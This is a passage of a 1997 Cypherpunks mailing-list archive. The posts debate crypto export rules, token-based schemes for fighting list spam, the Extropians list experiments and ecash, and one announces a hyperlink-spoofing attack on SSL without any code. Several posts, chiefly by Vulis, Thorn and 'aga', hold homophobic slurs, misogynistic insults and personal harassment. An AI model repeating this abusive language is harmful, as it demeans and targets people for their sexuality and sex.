credible sources.  The money you pay gets to those people.

This is no different from the original scheme with a limited number
of tokens.  If the anonymity is preserved, you can always pay somebody
$500 to go to the trouble of getting one of the rare tokens distributed
or to buy one off a list member who already has one.  In the modified
scheme, the cost is quantified and easy to express and understand.

Peter Hendrickson
ph@netcom.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sat, 4 Jan 1997 05:47:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: How many Faggots on this list?
In-Reply-To: <19970103235600.SAA29719@ladder01.news.aol.com>
Message-ID: <Pine.LNX.3.95.970104084303.18981B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 3 Jan 1997, Santa12801 wrote:

> FUCK YOU..YOU GOD DAM STUPID MOTHERFUCKER
> 

And HERE comes ANOTHER one, coming out of the woodwork!

-aga (bring 'em out of the woodwork).bot





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Wise <jw250@columbia.edu>
Date: Sat, 4 Jan 1997 05:56:52 -0800 (PST)
To: Peter Hendrickson <ph@netcom.com>
Subject: Re: Naive Export Question
In-Reply-To: <v02140b00aef3aeff55fd@[192.0.2.1]>
Message-ID: <Pine.SUN.3.95L.970104085335.28613C-100000@namaste.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 3 Jan 1997, Peter Hendrickson wrote:

> Given that:
> 1. It is legal to export books with printed source code.
> 2. It is legal for foreigners to type it in.
> 3. It is legal for foreigners to post what they typed.
> 4. It is legal to pay foreigners to type things into a computer.
> 
> It seems to me that it would be legal for the author of a book with
> source code to pay foreigners to type in the code and post it.  The
> cost of doing so is small compared to the cost of writing and
> publishing the book.

It would probably be chased down under the `financing foreign crypto'
bits...

> I assume that this is illegal, but which laws does it violate?

And here we have the heart of the regulations...  Only _actually_ close
what they're sure they can get away with, but make sure to make it
seem that the rules are logical and complete, so people will refrain
from exporting crypto legally or illegally for fear that they will
break the law without meaning too...

--
				Jim Wise
				jim@santafe.arch.columbia.edu
				http://www.arch.columbia.edu/~jim
				* Finger for PGP public key *





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 4 Jan 1997 06:35:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <32CDF37F.3A13@sk.sympatico.ca>
Message-ID: <i0e1ZD32w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Peter Hendrickson wrote:
>
> > I don't believe that people making valuable contributions have any
> > trouble at all coughing up a dollar to do so.  Very few people post
> > more than 10 messages a month.  $10/month isn't much of a burden.
>
>   I agree.
>   Poor people have nothing of value to contribute to society. They
> probably ought to be in a camp somewhere, so that they don't bother
> the hi-rollers.  They can share bunks with the disabled.


Timmy May and his ilk want the poor to remain poor, so they'll be
willing to work for pennies and provide cheap labor for the idle
"cypher punk" elite.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 4 Jan 1997 06:35:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunk Elitism and Spam Filters
In-Reply-To: <32CE2505.1D2D@sk.sympatico.ca>
Message-ID: <BkF1ZD33w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Dr.Dimitri Vulis KOTM wrote:
> >
> > I'm not doing anything with your stupid list. I'm not even on it.
>
>   That's right. This list is now being 'haunted' by the 'ghost' of
> the late, great Dr. DV K.

Boo!

                                     aa@@aaao
                                  a@@@@@@@@@@@aao
                                @@@@@@@@@@ :::::::
                           :::: @@  @@  @@@ ::::::::::::
                        :::::: @@@@@@@@@@@@ ::::::::::::::::
                     :::::::: @@@@@."".@@@@@ ::::::::::::::::::
                   ::::::::: @@@@@@@@@@@@@@@@       :::::::::::::
                 ::::::::::  @@@@@@'  `@@@@@@@           ::::::::::
               :::::::::::::: @@@@@b__d@@@@@',@@@@@@@@ :::::::::::::
              :::::::::   aaaa`@@@@""".@@@@,a@@@@@@@ ::::::::::::::::
             :::::::: aa@@@@@@@@@@@@@@@@@@@@@@@@@@ :::::::::: ::::::::
            ::::::: @@@@@@@@@@@@@@@@@@@@@@@@@@@@ :::::::::::a  ::::::::
            ::::: @@@@@@@@@@@@@@@@@@@@@@@@@@@ :::::::::::  @@@a ::::::::
           :::: @@@@@@@@@@@@@@@@@@@@@@@@@@@ ::::::::::: @@@@@@@a :::::::  a@a
@@@        :: @@@@@@@@@@@@@@@@@@@@@@@@@@@ ::::::::::: @@@@@@@@@@@@aaa : a@@"
  @@@@@     @@@@@@@@@@@@@@@@@@@@@@@@@@@ ::::::::::: @@@@@@@a @@@@@@@@@@@@@@@@@
   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ :::::::::::: @@@@@@@@@@@@a @@@@@@@@@@""
 a@@@@@@@@@@@@@@@@@@    @@@@@@@@@@ ::::::::::: @@@@@@@@@@@@@@@@@@ @@@@@@'"@@
    a@"@@@@@@@ @@@ :    @@@@@@@@ ::::::::::: @@@@@@@@@@@@@@@@@@@ ,@@'"' :  @@
   @@"  "@@@"@@  :::     @@@@@ ::::::::::: @@@@@@@@@@@@@@@@@@@@@ @@' ::::
             @@@ ::::      @ ::::::::::: @@@@@@@@@@@@@@@@@@@@@@@@ ::::::
            :   ::::::     :::::::::: a@@@@@@@@@@@@@@@@@@@@@@@@@ :::::::
             ::::::::::: :::::::::: a@@@@@@@@@@@@@@@@@@@@@@@@@' :::::::
              ::::::::::::::::::: a@@@@@@@@@@@@@@@@@@@@@@@@@@ ::::::::
               :::::::::::::::::  ""a@@@@@@@@@@@@@@@@@@@@@' :::::::::
                 :::::::::::::    @@@@@@@@@@@@@@@@@@@@@' ::::::::::
                   ::::::::::::::: """""@@@@@""""""""' :::::::::::
                     :::::::::::::::::        ::::::::::::::::::
                        :::::::::::::::::::::::::::::::::::::
                          :::::::::::::::::::::::::::::::::
                              :::::::::::::::::::::::::
                                    :::::::::::::


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Sat, 4 Jan 1997 09:51:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New rules for Internet sales to CA buyers
In-Reply-To: <3.0.32.19970102144026.0069bc00@mail.io.com>
Message-ID: <5am59h$4pi@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In article <3.0.32.19970102144026.0069bc00@mail.io.com>,
Greg Broiles  <gbroiles@netbox.com> wrote:
>
>The following subsection of California Business & Professions Code section
>17538 took effect 1/1/97 and may be of interest to people following state
>attempts to regulate net sales:
>
>[...]
>   (d) A vendor conducting business through the Internet or any other
>electronic means of communication shall do  all of the following
>when the transaction involves a buyer located in California:
[snip]
>
>Legislative history can be found at
>
><http://www.leginfo.ca.gov/cgi-bin/postquery?bill_number=ab_3320&sess=PREV&h
>ouse=B>
>


So is this saying that a merchant _anywhere in the world_ can be prosecuted
under California law if someone in California goes to their web page,
and the web page doesn't satisfy the requirements (which I snipped)?

How is a merchant in, say, Finland, supposed to know that this law (or others
like it in any city, state, or country in the world) exists?

   - Ian 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMs6YZEZRiTErSPb1AQEfbQQAkTjheiJ7iX0auSFWzthQ9zsgMQWmrSok
7ETe3D20BhIC11Rqkb6hMm8zwk8j4n+zXk1I6PlGAiRVS8LHlEEoxBhkMCHCzEEO
J0CNjURByuXVIzvEuaKm9VE6ymtOw+U+lHRpPerKt5nrRZM+Wg2ccPhqG5WBhrhJ
hJT8jUYto3Q=
=zyI9
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 4 Jan 1997 06:52:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ecash naysayers
Message-ID: <v030078baaef41ed98faf@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


------------------------------

Date: Fri, 3 Jan 1997 17:02:52 -0500
From: Roderick Simpson <rod@wired.com>
To: Multiple recipients of list <com-priv@lists.psi.com>
Subject: Ecash naysayers

Anyone heard a convincing naysayer of electronic cash? Who were they?

Best,
Rod


R o d e r i c k S i m p s o n                                rod@wired.com
A s s o c i a t e P r o d u c e r  T h e H o t W i r e d N e t w o r k
www.braintennis.com                            www.wiredsource.com

------------------------------


--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.vmeng.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Bostick <abostick@netcom.com>
Date: Sat, 4 Jan 1997 09:56:51 -0800 (PST)
To: Robert Hettinga <rod@wired.com
Subject: Re: Ecash naysayers
In-Reply-To: <v030078baaef41ed98faf@[139.167.130.248]>
Message-ID: <Pine.3.89.9701040958.A10057-0100000@netcom18>
MIME-Version: 1.0
Content-Type: text/plain




On Sat, 4 Jan 1997, Robert Hettinga wrote:

> 
> --- begin forwarded text
> 
> 
> ------------------------------
> 
> Date: Fri, 3 Jan 1997 17:02:52 -0500
> From: Roderick Simpson <rod@wired.com>
> To: Multiple recipients of list <com-priv@lists.psi.com>
> Subject: Ecash naysayers
> 
> Anyone heard a convincing naysayer of electronic cash? Who were they?
> 
> Best,
> Rod

The propblem with that question is that as phrased it stacks the deck
in favor of electronic cash.   What is "convincing"?  Find someone with a 
cogent critique of an electronic payments scheme or scheme, and I can 
guarantee that I can find someone, very likely on the WIRED editorial
staff, who won't be "convinced" by it.  What is a "naysayer"?  Someone
who presents a detailed critical technical analysis of a payments
scheme?  Someone who thinks that electronic payments represent the
Number of the Beast and are a sign of the coming Apocalypse?  Lastly,
what is "electronic cash"?  Chaumian anonymous digital cash?  Transmission
of credit card data?

The question is so poorly phrased as to be almost impossible to 
intelligently answer "yes".  Somewhere in it there is buried a real
question with a real answer.  Maybe Roderick Simpson will tell us
what it is.

PS:  I'm *not* a electronic cash naysayer.

Alan Bostick               | To achieve harmony in bad taste is the height
mailto:abostick@netcom.com | of elegance.
news:alt.grelb             |      Jean Genet
http://www.alumni.caltech.edu/~abostick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sat, 4 Jan 1997 07:07:34 -0800 (PST)
To: fod@brd.ie (Frank O'Dwyer)
Subject: Re: Hyperlink Spoofing: an attack on SSL server authentication
In-Reply-To: <199701041259.MAA00180@brd.ie>
Message-ID: <199701041504.KAA24308@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Ed Felten of Princeton presented something similar at the Dimacs
Network Threats workshop in November 96.

Frank O'Dwyer wrote:
| 
| I've written up an attack on SSL server authentication at
|      
| 	http://www.iol.ie/~fod/sslpaper/sslpaper.htm
| 
| As far as I am aware, this attack hasn't been written about before.
| It does not attack the SSL protocol or low-level cryptography, but works
| at a higher level in order to persuade users to connect to fake servers, 
| with the browser nonetheless giving all the usual appearances of a 
| secure session.


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sat, 4 Jan 1997 07:12:55 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: Naive Export Question
In-Reply-To: <v03007801aef3d5e0a084@[207.167.93.63]>
Message-ID: <199701041509.KAA24331@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:

| On a related topic, my hunch is that it is much more likely for a
| prosecution to involve a major software company skirting the ITAR/EAR rules
| by subcontracting with offshore companies (e.g., RSADSI using the NEC
| chips, or Cylink using Israeli programmers) than it is that some lowly Net
| person will be proscuted for dribbling out a few hundred lines of some
| crypto program.

	I doubt it.  People are often much more resource poor than
companies.  A company with the prospect of a few million in sales can
defend itself in court much better than some individual.  The ITARs
survive on FUD, not strong legal basis.

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 4 Jan 1997 10:11:34 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: ASSHOLE FAGGOT J.D. Falk
In-Reply-To: <819yZD2w165w@bwalk.dm.com>
Message-ID: <32CE9CF6.6ED0@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> snow <snow@smoke.suba.com> writes:
> > > The recognition that most every problem person is of a homosexual
> > > nature is definitely a usenet body-politic phenomenon, which will
> > > be documented and verified with whatever means that become necessary.

> Just following the homos' logic... If you don't like someone and
> he happens to be a homo, then you're a homophobe, and all the homos
> are supposed to fuck you over.

Remember the line from the film "I'm Gonna Get You Sucka", where the
guy says "The brothers went in with guns, and they came out with jobs"?

Apple had that technique down when they started "donating" their piece-
o'-shit Apple II's and Mac's to schools et al (get 'em while they're
young and defenseless).  So now most of these kids, grown up, are
thinking "Homosexual marriages, yeah, what's wrong with that?".

You won't believe what these clowns have in store next (as a social
experiment).  BTW, the L.A. school system is also adopting Ebonics.

BTW #2, I wouldn't think to complain about someone's sexual preferences
until they start waving their dicks in my face, which is a favorite
pastime in parts of Los Angeles.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 4 Jan 1997 10:59:12 -0800 (PST)
To: Gary Aikens <gary@safetydisk.com>
Subject: Re: ONE MILLION CHILDREN.....
In-Reply-To: <19970103174004703.AIT291@[205.187.61.2]>
Message-ID: <32CEA055.26F3@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Gary Aikens wrote:
> ...and pets are lost or turn up missing every year!
> Protect your loved ones today!
> Think about all the things you do to protect your loved ones. Isn't there
> one more thing you should do?
> Child and Pet ID Kits have been around for years, but most of them haven't
> changed with the years. Traditional ID Kits allow you to compile valuable
> information about your child or pet that you can use in the event your child or
> pet is missing. We are responding to the rapid changes in technology. We know
> that any ID Kit just isn't good enough.

C'mon Gary, why would anyone want to bother with all of this crap?
Chip implants are already in millions of pets.  It's simple, cheap,
and there's no work for the owner.

Thousands of humans are also implanted, i.e., Green Berets, Seals, and
similar types, women with breast implants, and so on.  There's a move-
ment on to implant most children, so they're not as vulnerable to kid-
napping, etc.

I realize most people are still afraid of the 666 stuff (direct evidence
from the phone company shows most people will not accept #s with 666
prefixes), but they'll get over it when they see the benefits, and how
it frees up their time so they can watch more TV or play on the Internet.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 4 Jan 1997 10:57:01 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: EAR Doc
In-Reply-To: <1.5.4.32.19970104053335.0069ccd8@pop.pipeline.com>
Message-ID: <32CEA25C.7C39@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> We've prepared a hyperlinked version of the Export
> Administration Regulations (EAR) to assist analysis,
> evaluation and commentary on interim rules for
> encryption export:
> It's sobering to study the EAR and see the lethal
> weapons to which encryption is wed -- the most
> mass-murderous of high-technology calmly described
> as commercial warfare for the commonweal.

When you consider the censorship-prone mindsets of many of the
private-security-employed cypherpunks, it kinda makes sense, yes?

Think about those Israeli tank rounds, exploding into hundreds of little
steel arrows designed to rip flesh apart, and then analogize to the
possibilities for technically capable encryption users....






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 4 Jan 1997 10:57:17 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <v02140b0aaeef4195b36f@[192.0.2.1]>
Message-ID: <32CEA645.4DAA@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Peter Hendrickson wrote:
> > People who don't like using PGP, or can't use it, or won't use it,
> > do not belong on this list.

>   Does this also apply to people who don't 'trust' PGP, or who feel
> more secure using another form of encryption?
>   Are you working on a 'commission' basis, here?

In the interests of freedom, just in case you missed it,
it's called MLM/PGP, i.e, PGP is the ultimate multi-level
marketing tool.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 4 Jan 1997 08:03:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Atoms vs Bits
Message-ID: <3.0.1.32.19970104105925.00704cbc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


If you doubt that wealth and atoms 
aren't linked much these days, one need only point 
out that the total weight (in tons) of the US 
annual GDP is about the same as it was 100 years 
ago while the constant dollar value of that 
production has increased 12 fold.  

Source - Greenspan speech quoted in The Economist 
Suvey of the World Economy 28 September 1996.

DCF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 4 Jan 1997 10:56:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Experiments on Mailing Lists
In-Reply-To: <v02140b00aef428407574@[192.0.2.1]>
Message-ID: <v03007800aef451eda8e0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:49 AM -0800 1/4/97, Peter Hendrickson wrote:

>The moderator keeps the cash.  The moderator is pulled in several
>directions.  He or she wants to keep the money but also wants people
...blah blah blah....

All of these schemes--some of them pretty clever--for posting tokens,
reputation-based killfiles, buying and selling reputation futures, etc.,
are almost certainly far too complicated to deploy on a list like ours.

I have some direct evidence. The "Extropians" mailing list, beset with
similar perceived S/N problems several years ago, tried some of these
approaches. I've mentioned this before, and strongly urge those
contemplating such schemes to find some archives of this time period (I
don't know if they exist) and see what some of these real world experiments
did.

(Granted, there was no PGP encryption being used, but this is not really
central at this point to most of the proposed schemes.)

Here are some of the main Extropians list experiments I recall from the
1992-4 period, and some comments:

1. List-server-maintained filters. Subscribers could request that mail from
"Joe Doe" not be sent to them. Subscribers could request only certain
topics, or only certain subscribers, etc. Specific messages could be
requested (e.g., of someone being filtered).

2. A reputation market, with share prices for the repuations of specific
individuals, specific claims about the future, or even general topics. For
example, the shares of "crypto anarchy" might have started trading at 15
thornes, and later reached 110 thornes. (Thorne was the guy who eventually
got the code running, mostly.)

3. Private justice was tried, using the notion of "polycentric law." Those
with beefs with others could "file suit" with some entity. "Tim's
Protection League" could serve up certain kinds of justice, including
forcing his own clients to not post, for example. (Readers will note the
influence of Neal Stephenson's "Snow Crash" on some of the ideas, along
with the ideas of Bruce Benson, David Friedman, and others.)

What were the results?

First, much list bandwidth was consumed discussing the design of these
systems, the limitations of simple scalar measurements, and what real
ratings systems and reputation-based killfiles ought to have.

(Sasha Chislenko, now affiliated with Firefly, the distant grandchild of
such schemes, was involved.)

Second, there was an actual increase, in my opinion, in off-topic posts, as
the weaknesses of these systems were probed, and workarounds found.

Third, the aforementioned weaknesses were just too obvious. Here are some
examples:

* The reputation market was incredibly easy to manipulate. I used my
initially distributed "thornes" to drive up the share prices in my own
"tcmay" share prices. I also spent $15 of "real world" money to buy the
thornes of a guy who was not interested in using them...this $15 translated
into a _lot_ of thornes, which I could then use to buy lots of shares, and
see the share prices increase.

(I left the Extropians list in January of 1994, and at the time had the
largest portfolio...no big deal, but it shows how such markets are not
exactly very grounded in underlying reality!)

* The killfiles at the host consumed a fair amount of CPU cycles...partly
to pay for the increased services, a subscription fee for the Extropians
list was initiated....this apparently drove the membership in the list down
to much lower levels. (Which some may think is a good thing, but I
understand from friends who remained on the list after 1/94 that posting
rates dropped to such a low level that the list became much less
interesting to read...I heard a few days ago that volume is back up to
about 40 messages a day, and that the subscription fee has been dropped.)

* The private adjudication of disputes was the most absurd of all. There
was little or no incentive for "rational" judgements, and anyone could form
their own "protection" justice system. I created my own, with myelf as the
only member. This was not forbidden by the list meta-rules on such things,
so I became de facto my own justice system, not bound by any other systems.

Now, don't get me wrong....these "experiments" were interesting in their
own right. And eventually such experiments may actually work out. Certainly
many of us believe in the importance of individuals and groups setting up
similar institutions on their own intiative. The problems, however, are
apparent.

(It would be nice to see a much longer article on the results of these
experiments. It could even get published, in my opinion, as the issues are
interesting. Emergent organizational principles, polycentric law, etc.
Perhaps someone still on the Extropians list could suggest that this would
make a nice article.)

A lack of richness of interactions is part of the problem. The lack of
accountability is another. The loopholes in the meta-rules compounds other
problems. And a _lot_ of list bandwidth got consumed. The flame wars also
got even more vitriolic.

So, rather than do similar tinkering with the Cypherpunks list--not that
either Hugh Daniel or John Gilmore have given any hint they are willing to
do such tinkering--I suggest those who want to try token-based posting, or
information markets in reputation capital, or herd-consensus killfiles,
etc., set up a separate mailing list and implement whatever they wish.

While such schemes may turn out to be imortant, I'm here on this list to
discuss various ideas, not to be guinea pigs in somebody's pet idea (not to
mix my pet metaphors, or my pet peeves).

Cheers,

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 4 Jan 1997 11:03:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Ecash naysayers
In-Reply-To: <v030078baaef41ed98faf@[139.167.130.248]>
Message-ID: <v03007801aef45a7fac76@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:56 AM -0800 1/4/97, Alan Bostick wrote:
>On Sat, 4 Jan 1997, Robert Hettinga wrote:

>> Date: Fri, 3 Jan 1997 17:02:52 -0500
>> From: Roderick Simpson <rod@wired.com>
>> To: Multiple recipients of list <com-priv@lists.psi.com>
>> Subject: Ecash naysayers
>>
>> Anyone heard a convincing naysayer of electronic cash? Who were they?
>>
>> Best,
>> Rod
>
>The propblem with that question is that as phrased it stacks the deck
>in favor of electronic cash.   What is "convincing"?  Find someone with a
>cogent critique of an electronic payments scheme or scheme, and I can
>guarantee that I can find someone, very likely on the WIRED editorial
>staff, who won't be "convinced" by it.  What is a "naysayer"?  Someone
...

I think the problem is even more obvious: the "Brain Tennis" forum is a
crystallization of the worst tendency in journalism today: having two
opposing views on any issue. As on television, where two talking heads take
opposite postions, suggesting a roughly even split in popular opinion (even
if popular opinion--not to mention the underlying actual truth--is tilted
95-5).

Caveat: I've only followed a few of these "brain tennis" things, which is
what I assume Simpson is recruiting for, and I was sorely disappointed. But
not surprised.

--Tim May





Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 4 Jan 1997 09:50:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous Post Control
In-Reply-To: <852383891.629350.0@fatmans.demon.co.uk>
Message-ID: <1wN1ZD35w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

> Well the obvious answer seems to me to stop majordomo at toad.com
> accepting ANY messages from anonymous sources but let pseudonyms
> post, pseudonymous posting allows the owner of the nym to accumulate
> reputation capital without disclosing his or her true identity.

Paul Bradley accumulated oodles of reputation capital with his
obscene rants about "brute force attacks on one-time pads".

Now he wants more censorship.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 4 Jan 1997 10:00:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [NOISE] Re: Timmy's Lost It: [Was Extremism in the defense of lib
In-Reply-To: <Pine.3.89.9701031202.A28155-0100000@netcom9>
Message-ID: <Tyo1ZD36w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Alan Bostick <abostick@netcom.com> writes:

> On Fri, 3 Jan 1997, Timothy C. May wrote:
>
> >
> > It's always sad to see another sometimes-reasonable (though sometimes
> > foaming) writer go down the Detweiler-Vulis route, e.g., by making his
> > arguments hinge on calling me "Timmy" (what _is_ it with this nickname that
> > makes it so damned attractive to Vulis, Vlad, and Attila?).
>
> It's a meme, both self-perpetuating *and* spontaneously generating.  The
> antagonist, in the passion of the moment, doesn't hit the space, shift,
> or 'A' keys while typing fast.  Other people, insensed by the post, respond
> in kind, and so forth.

Does Timmy's middle initial (C.) _really stand for Cunt?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ph@netcom.com (Peter Hendrickson)
Date: Sat, 4 Jan 1997 12:43:45 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com
Subject: Re: Experiments on Mailing Lists
Message-ID: <v02140b01aef46e21565d@[192.0.2.1]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:02 AM 1/4/1997, Timothy C. May wrote:
>At 7:49 AM -0800 1/4/97, Peter Hendrickson wrote:
>> The moderator keeps the cash.  The moderator is pulled in several
>> directions.  He or she wants to keep the money but also wants people
> ...blah blah blah....

> All of these schemes--some of them pretty clever--for posting tokens,
> reputation-based killfiles, buying and selling reputation futures, etc.,
> are almost certainly far too complicated to deploy on a list like ours.

> ...[Interesting Extropian history deleted.]...

> So, rather than do similar tinkering with the Cypherpunks list--not that
> either Hugh Daniel or John Gilmore have given any hint they are willing to
> do such tinkering--I suggest those who want to try token-based posting, or
> information markets in reputation capital, or herd-consensus killfiles,
> etc., set up a separate mailing list and implement whatever they wish.

If the point of these schemes is to filter content (*), there is no
reason why they have to be implemented for the entire list.  They
can always be converted to a tag on the message which readers can
use, but are not required to.

I'm sure Tim would not object to any scheme implemented in this way.
(So sure, in fact, that I will give him a dollar if he does object. ;-)

(* If the point is to stop spam attacks, then they do have to affect
the entire list.)

Peter Hendrickson
ph@netcom.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Frank O'Dwyer" <fod@brd.ie>
Date: Sat, 4 Jan 1997 05:00:56 -0800 (PST)
To: ssl-talk@netscape.com
Subject: Hyperlink Spoofing: an attack on SSL server authentication
Message-ID: <199701041259.MAA00180@brd.ie>
MIME-Version: 1.0
Content-Type: text/plain



I've written up an attack on SSL server authentication at
     
	http://www.iol.ie/~fod/sslpaper/sslpaper.htm

As far as I am aware, this attack hasn't been written about before.
It does not attack the SSL protocol or low-level cryptography, but works
at a higher level in order to persuade users to connect to fake servers, 
with the browser nonetheless giving all the usual appearances of a 
secure session.

Not much technical sophistication is required to carry off the attack,
and the impact is that a user may be persuaded to reveal information
such as credit card numbers, PINs, insurance or bank details, or other
private information to the fake server. Another risk is that the user
may download and run trojan Java applets or executables (e.g. banking 
or database clients) from the fake server, believing them to be from the 
real server and therefore safe. 

I am posting this announcement on comp.security.misc, ssl-talk and on 
cypherpunks. If you know of any other individuals who may be concerned
about this attack, but who do not read this group or those lists, please
forward this message to them.

Cheers,
Frank O'Dwyer
fod@brd.ie







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 4 Jan 1997 13:10:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Experiments on Mailing Lists
In-Reply-To: <v02140b01aef46e21565d@[192.0.2.1]>
Message-ID: <v03007800aef47653557a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:43 PM -0800 1/4/97, Peter Hendrickson wrote:

>If the point of these schemes is to filter content (*), there is no
>reason why they have to be implemented for the entire list.  They
>can always be converted to a tag on the message which readers can
>use, but are not required to.
>
>I'm sure Tim would not object to any scheme implemented in this way.
>(So sure, in fact, that I will give him a dollar if he does object. ;-)
>
>(* If the point is to stop spam attacks, then they do have to affect
>the entire list.)

Oh, I would hardly have any objection to any system which is "transparent"
to me, i.e., where I can ignore the whole issue.

I forgot to mention in my article that one of the serious problems with the
various Extropians experiments--and likely to be in any of the new
experiments--is that each required learning, with many people never quite
getting the hang of how the systems worked. Thus, various FAQs were
written--but ignored by those most in need of them. And people asked
questions on the list about the process, etc. Ultimately, all of the
